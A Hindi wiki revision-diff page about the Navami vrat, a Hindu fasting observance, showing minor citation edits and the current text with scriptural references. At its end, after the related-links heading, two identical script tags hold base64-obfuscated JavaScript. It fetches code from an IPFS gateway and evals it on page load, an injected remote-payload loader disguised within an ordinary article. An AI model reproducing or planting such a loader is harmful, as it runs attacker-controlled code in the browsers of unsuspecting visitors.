"नवमी व्रत" के अवतरणों में अंतर

भारत डिस्कवरी प्रस्तुति
यहाँ जाएँ:भ्रमण, खोजें
छो (नवमीव्रत का नाम बदलकर नवमी व्रत कर दिया गया है)
छो (Text replace - ")</ref" to "</ref")
 
(2 सदस्यों द्वारा किये गये बीच के 4 अवतरण नहीं दर्शाए गए)
पंक्ति 1: पंक्ति 1:
*[[भारत]] में धार्मिक व्रतों का सर्वव्यापी प्रचार रहा है। यह हिन्दू धर्म ग्रंथों में उल्लखित [[हिन्दू धर्म]] का एक व्रत संस्कार है।
+
*[[भारत]] में धार्मिक व्रतों का सर्वव्यापी प्रचार रहा है। यह हिन्दू धर्म ग्रंथों में उल्लिखित [[हिन्दू धर्म]] का एक व्रत संस्कार है।
*[[अष्टमी]]<ref>कृत्यकल्पतरु (व्रतखण्ड 273-308); हेमाद्रि (व्रतखण्ड 1, 887-962); कालनिर्णय (229-230); तिथितत्व (59-103); पुरुषार्थचिन्तामणि (139-142); व्रतराज (319-352)</ref> से युक्त नवमी को अच्छा माना जाता है।<ref> तिथितत्व (59); धर्तसिन्धु (15);</ref>
+
*[[अष्टमी]]<ref>कृत्यकल्पतरु (व्रतखण्ड 273-308); हेमाद्रि (व्रतखण्ड 1, 887-962); कालनिर्णय (229-230); तिथितत्त्व (59-103); पुरुषार्थचिन्तामणि (139-142); व्रतराज (319-352</ref> से युक्त नवमी को अच्छा माना जाता है।<ref> तिथितत्त्व (59); धर्तसिन्धु (15);</ref>
 
*[[चैत्र]] [[शुक्ल पक्ष]] की नवमी पर भद्रकाली की सभी योगिनियों को रानी बनाया गया।  
 
*[[चैत्र]] [[शुक्ल पक्ष]] की नवमी पर भद्रकाली की सभी योगिनियों को रानी बनाया गया।  
 
*अतः सभी नवमियों पर उपवास करना चाहिए और उसकी पूजा करनी चाहिए।<ref>कृत्यकल्पतरु (नैयतकालिक काण्ड, 383); कृत्यरत्नाकर (127-128)।</ref>
 
*अतः सभी नवमियों पर उपवास करना चाहिए और उसकी पूजा करनी चाहिए।<ref>कृत्यकल्पतरु (नैयतकालिक काण्ड, 383); कृत्यरत्नाकर (127-128)।</ref>
 
 
 
 
{{लेख प्रगति
+
{{संदर्भ ग्रंथ}}
|आधार=आधार1
 
|प्रारम्भिक=
 
|माध्यमिक=
 
|पूर्णता=
 
|शोध=
 
}}
 
 
==टीका टिप्पणी और संदर्भ==
 
==टीका टिप्पणी और संदर्भ==
 
<references/>
 
<references/>

12:51, 27 जुलाई 2011 के समय का अवतरण

  • भारत में धार्मिक व्रतों का सर्वव्यापी प्रचार रहा है। यह हिन्दू धर्म ग्रंथों में उल्लिखित हिन्दू धर्म का एक व्रत संस्कार है।
  • अष्टमी[1] से युक्त नवमी को अच्छा माना जाता है।[2]
  • चैत्र शुक्ल पक्ष की नवमी पर भद्रकाली की सभी योगिनियों को रानी बनाया गया।
  • अतः सभी नवमियों पर उपवास करना चाहिए और उसकी पूजा करनी चाहिए।[3]

 

टीका टिप्पणी और संदर्भ

  1. कृत्यकल्पतरु (व्रतखण्ड 273-308); हेमाद्रि (व्रतखण्ड 1, 887-962); कालनिर्णय (229-230); तिथितत्त्व (59-103); पुरुषार्थचिन्तामणि (139-142); व्रतराज (319-352
  2. तिथितत्त्व (59); धर्तसिन्धु (15);
  3. कृत्यकल्पतरु (नैयतकालिक काण्ड, 383); कृत्यरत्नाकर (127-128)।

अन्य संबंधित लिंक

<script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>

<script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>